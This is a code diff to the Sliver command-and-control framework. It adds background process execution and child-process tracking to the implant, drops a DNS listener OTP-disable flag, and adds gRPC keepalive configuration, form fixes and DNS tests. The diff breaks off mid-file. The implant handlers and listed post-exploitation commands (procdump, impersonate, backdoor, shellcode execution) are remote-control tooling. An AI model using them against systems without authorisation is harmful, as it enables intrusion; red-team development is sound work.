@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
EnvInheritance: envInheritance,
|
||||
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background := false
|
||||
if cmd.Flags().Lookup("background") != nil {
|
||||
background, _ = cmd.Flags().GetBool("background")
|
||||
}
|
||||
if background {
|
||||
// Background execution never returns inline output.
|
||||
output = false
|
||||
}
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
if exec.Pid != 0 {
|
||||
if background {
|
||||
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
con.PrintInfof("Process started\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -47,44 +47,45 @@ var (
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -135,6 +136,7 @@ var (
|
||||
|
||||
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
|
||||
arguments are be separated from the sliver 'execute' arguments with '--'
|
||||
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
|
||||
|
||||
[[.Bold]]Example:[[.Normal]]
|
||||
execute /bin/bash --env FOO=1 -- -c env
|
||||
@@ -145,6 +147,11 @@ FOO=1
|
||||
PWD=/Users/moloch/git/sliver
|
||||
SHLVL=1
|
||||
_=/usr/bin/env
|
||||
`
|
||||
|
||||
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
|
||||
|
||||
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
|
||||
`
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
|
||||
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
})
|
||||
|
||||
// HTTP
|
||||
|
||||
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
||||
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
EnforceOTP: !enforceOTP,
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
}
|
||||
|
||||
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.BoolP("output", "o", execReq.Output, "capture command output")
|
||||
f.Bool("background", execReq.Background, "start the process in the background and track it")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
|
||||
|
||||
execCmd := &cobra.Command{Use: constants.ExecuteStr}
|
||||
execCmd.Flags().AddFlagSet(f)
|
||||
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
|
||||
exec.PrintExecute(execResult, execCmd, con)
|
||||
|
||||
case sliverpb.MsgExecuteChildrenReq:
|
||||
execChildren := &sliverpb.ExecuteChildren{}
|
||||
err := proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
exec.PrintExecuteChildren(execChildren, con)
|
||||
|
||||
case sliverpb.MsgSideloadReq:
|
||||
sideload := &sliverpb.Sideload{}
|
||||
err := proto.Unmarshal(task.Response, sideload)
|
||||
|
||||
@@ -208,8 +208,9 @@ const (
|
||||
GetGIDStr = "getgid"
|
||||
WhoamiStr = "whoami"
|
||||
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ExecuteChildrenStr = "children"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
|
||||
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
|
||||
Title("Select packages or bundles to install").
|
||||
Description("Use space to select and enter to install.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedNames)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
|
||||
Title("Select updates to apply").
|
||||
Description("Use space to select and enter to apply.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedIDs)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -2,13 +2,14 @@ package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
const defaultSelectHeight = 10
|
||||
const defaultSelectHeight = 5
|
||||
|
||||
func getTerminalWidth() int {
|
||||
// Try to get actual terminal width
|
||||
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
|
||||
field := huh.NewMultiSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
|
||||
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
|
||||
field := huh.NewSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
if required {
|
||||
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
|
||||
*value = options[0]
|
||||
return
|
||||
}
|
||||
for _, option := range options {
|
||||
if option == *value {
|
||||
return
|
||||
}
|
||||
if slices.Contains(options, *value) {
|
||||
return
|
||||
}
|
||||
*value = options[0]
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
package transport
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"google.golang.org/grpc/keepalive"
|
||||
)
|
||||
|
||||
var (
|
||||
kaMu sync.RWMutex
|
||||
kaParams *keepalive.ClientParameters
|
||||
)
|
||||
|
||||
// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
|
||||
// Behavior is unchanged unless this is called.
|
||||
func SetKeepaliveParams(p keepalive.ClientParameters) {
|
||||
kaMu.Lock()
|
||||
kaParams = &p
|
||||
kaMu.Unlock()
|
||||
}
|
||||
|
||||
func getKeepaliveParams() (keepalive.ClientParameters, bool) {
|
||||
kaMu.RLock()
|
||||
p := kaParams
|
||||
kaMu.RUnlock()
|
||||
if p == nil {
|
||||
return keepalive.ClientParameters{}, false
|
||||
}
|
||||
return *p, true
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"time"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
"google.golang.org/grpc/credentials"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTransportCredentials(transportCreds),
|
||||
grpc.WithPerRPCCredentials(callCreds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
|
||||
if kp, ok := getKeepaliveParams(); ok {
|
||||
options = append(options, grpc.WithKeepaliveParams(kp))
|
||||
}
|
||||
|
||||
connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
|
||||
// until the channel becomes READY or the timeout expires.
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
for {
|
||||
state := connection.GetState()
|
||||
if state == connectivity.Idle {
|
||||
connection.Connect()
|
||||
}
|
||||
if state == connectivity.Ready {
|
||||
break
|
||||
}
|
||||
if !connection.WaitForStateChange(ctx, state) {
|
||||
_ = connection.Close()
|
||||
return nil, nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
return rpcpb.NewSliverRPCClient(connection), connection, nil
|
||||
}
|
||||
|
||||
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse certificate: " + err.Error())
|
||||
log.Printf("Failed to parse certificate: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
panic("no root certificate")
|
||||
}
|
||||
if _, err := cert.Verify(options); err != nil {
|
||||
log.Printf("Failed to verify certificate: " + err.Error())
|
||||
log.Printf("Failed to verify certificate: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
||||
"level": 4,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
},
|
||||
"grpc": {
|
||||
"keepalive": {
|
||||
"min_time_seconds": 30,
|
||||
"permit_without_stream": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
||||
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
||||
- `grpc_unary_payloads` - Log gRPC unary payloads
|
||||
- `grpc_stream_payloads` - Log gRPC streaming payloads
|
||||
- `grpc` - An object containing options for the server gRPC stack
|
||||
- `keepalive` - gRPC keepalive enforcement configuration
|
||||
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
|
||||
- `permit_without_stream` - Allow client pings when there are no active streams
|
||||
|
||||
## Database Configuration
|
||||
|
||||
|
||||
@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
|
||||
"level": 5,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
},
|
||||
"grpc": {
|
||||
"keepalive": {
|
||||
"min_time_seconds": 30,
|
||||
"permit_without_stream": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -202,6 +202,15 @@ else
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (dns)
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
|
||||
# server / configs
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
maxTrackedExecuteChildren = 256
|
||||
)
|
||||
|
||||
type executeChildEntry struct {
|
||||
PID int32
|
||||
Path string
|
||||
Args []string
|
||||
Stdout string
|
||||
Stderr string
|
||||
StartTime int64
|
||||
|
||||
Exited bool
|
||||
ExitCode int32
|
||||
ExitTime int64
|
||||
Error string
|
||||
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
var (
|
||||
executeChildrenMu sync.RWMutex
|
||||
trackedExecuteChildren = map[int32]*executeChildEntry{}
|
||||
)
|
||||
|
||||
func trimTrackedExecuteChildrenLocked() {
|
||||
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
|
||||
return
|
||||
}
|
||||
|
||||
// Prefer trimming completed entries first, oldest exit time first.
|
||||
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
if entry.Exited {
|
||||
exited = append(exited, entry)
|
||||
}
|
||||
}
|
||||
sort.Slice(exited, func(i, j int) bool {
|
||||
return exited[i].ExitTime < exited[j].ExitTime
|
||||
})
|
||||
|
||||
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
|
||||
delete(trackedExecuteChildren, exited[0].PID)
|
||||
exited = exited[1:]
|
||||
}
|
||||
}
|
||||
|
||||
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
|
||||
var (
|
||||
stdoutFile *os.File
|
||||
stderrFile *os.File
|
||||
err error
|
||||
)
|
||||
|
||||
startTime := time.Now().Unix()
|
||||
|
||||
if stdoutPath != "" {
|
||||
stdoutFile, err = os.Create(stdoutPath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stdout = stdoutFile
|
||||
}
|
||||
if stderrPath != "" {
|
||||
stderrFile, err = os.Create(stderrPath)
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stderr = stderrFile
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var pid int32
|
||||
if cmd.Process != nil {
|
||||
pid = int32(cmd.Process.Pid)
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
entry := &executeChildEntry{
|
||||
PID: pid,
|
||||
Path: path,
|
||||
Args: append([]string(nil), args...),
|
||||
Stdout: stdoutPath,
|
||||
Stderr: stderrPath,
|
||||
StartTime: startTime,
|
||||
cmd: cmd,
|
||||
}
|
||||
executeChildrenMu.Lock()
|
||||
trackedExecuteChildren[pid] = entry
|
||||
trimTrackedExecuteChildrenLocked()
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
|
||||
waitErr := cmd.Wait()
|
||||
|
||||
exitCode := int32(0)
|
||||
waitErrStr := ""
|
||||
if waitErr != nil {
|
||||
if exitErr, ok := waitErr.(*exec.ExitError); ok {
|
||||
exitCode = int32(exitErr.ExitCode())
|
||||
} else {
|
||||
exitCode = -1
|
||||
waitErrStr = waitErr.Error()
|
||||
}
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
executeChildrenMu.Lock()
|
||||
entry := trackedExecuteChildren[pid]
|
||||
if entry != nil {
|
||||
entry.Exited = true
|
||||
entry.ExitCode = exitCode
|
||||
entry.ExitTime = time.Now().Unix()
|
||||
entry.Error = waitErrStr
|
||||
entry.cmd = nil
|
||||
}
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
}(pid, cmd, stdoutFile, stderrFile, track)
|
||||
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
|
||||
executeChildrenMu.RLock()
|
||||
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
children = append(children, &sliverpb.ExecuteChild{
|
||||
Pid: entry.PID,
|
||||
Path: entry.Path,
|
||||
Args: append([]string(nil), entry.Args...),
|
||||
StartTime: entry.StartTime,
|
||||
Exited: entry.Exited,
|
||||
ExitCode: entry.ExitCode,
|
||||
ExitTime: entry.ExitTime,
|
||||
Stdout: entry.Stdout,
|
||||
Stderr: entry.Stderr,
|
||||
Error: entry.Error,
|
||||
})
|
||||
}
|
||||
executeChildrenMu.RUnlock()
|
||||
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
return children
|
||||
}
|
||||
|
||||
func executeChildrenHandler(data []byte, resp RPCResponse) {
|
||||
req := &sliverpb.ExecuteChildrenReq{}
|
||||
err := proto.Unmarshal(data, req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
execChildren := &sliverpb.ExecuteChildren{
|
||||
Children: snapshotExecuteChildren(),
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
data, err = proto.Marshal(execChildren)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
cmd.Wait()
|
||||
}()
|
||||
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
|
||||
@@ -33,25 +33,26 @@ import (
|
||||
|
||||
var (
|
||||
darwinHandlers = map[uint32]RPCHandler{
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
|
||||
@@ -34,23 +34,24 @@ import (
|
||||
|
||||
var (
|
||||
genericHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
|
||||
@@ -45,24 +45,25 @@ import (
|
||||
|
||||
var (
|
||||
linuxHandlers = map[uint32]RPCHandler{
|
